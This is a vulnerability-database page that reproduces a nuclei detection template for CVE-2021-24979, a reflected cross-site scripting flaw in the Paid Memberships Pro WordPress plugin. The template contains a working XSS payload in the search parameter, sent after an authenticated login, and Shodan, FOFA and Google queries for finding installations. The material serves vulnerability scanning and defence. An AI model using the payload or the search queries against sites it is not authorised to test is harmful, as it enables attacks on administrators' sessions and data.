Lucene search
K

Paid Memberships Pro < 2.6.6 - Cross-Site Scripting

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 26 Views

Paid Memberships Pro < 2.6.6 - Cross-Site Scripting. The plugin before 2.6.6 does not escape the s parameter before outputting it in an admin page, leading to Reflected Cross-Site Scripting

Related
Refs
Code
id: CVE-2021-24979

info:
  name: Paid Memberships Pro < 2.6.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Paid Memberships Pro WordPress plugin before 2.6.6 does not escape the s parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the search parameter, potentially stealing administrator session cookies or accessing membership data.
  remediation: version 2.6.6
  reference:
    - https://wpscan.com/vulnerability/fc011990-4ec1-4553-901d-4ff1f482cb79
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24979
    - https://plugins.trac.wordpress.org/changeset/2632369/paid-memberships-pro/tags/2.6.6/adminpages/discountcodes.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24979
    cwe-id: CWE-79
    epss-score: 0.01868
    epss-percentile: 0.7678
    cpe: cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: strangerstudios
    product: paid_memberships_pro
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/paid-memberships-pro/
    fofa-query: body=/wp-content/plugins/paid-memberships-pro/
    publicwww-query: /wp-content/plugins/paid-memberships-pro/
    google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
  tags: cve2021,cve,wp,wordpress,wpscan,wp-plugin,xss,authenticated,strangerstudios,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=pmpro-discountcodes&s=s"+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "style=animation-name:rotation+onanimationstart=alert(document.domain)//")'
          - 'contains(body_2, "Paid Memberships Pro - Membership Plugin for WordPress")'
        condition: and
# digest: 490a00463044022056b4e0072389a650a839fed870f9582fa6aa85435cc2fb1ddf9789992e0f48f902207ee86890bc037167384e979c64cfa1dc2d2c4046312a45443edeac44e3ee6092:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 24.3
CVSS 3.16.1
EPSS0.01868
26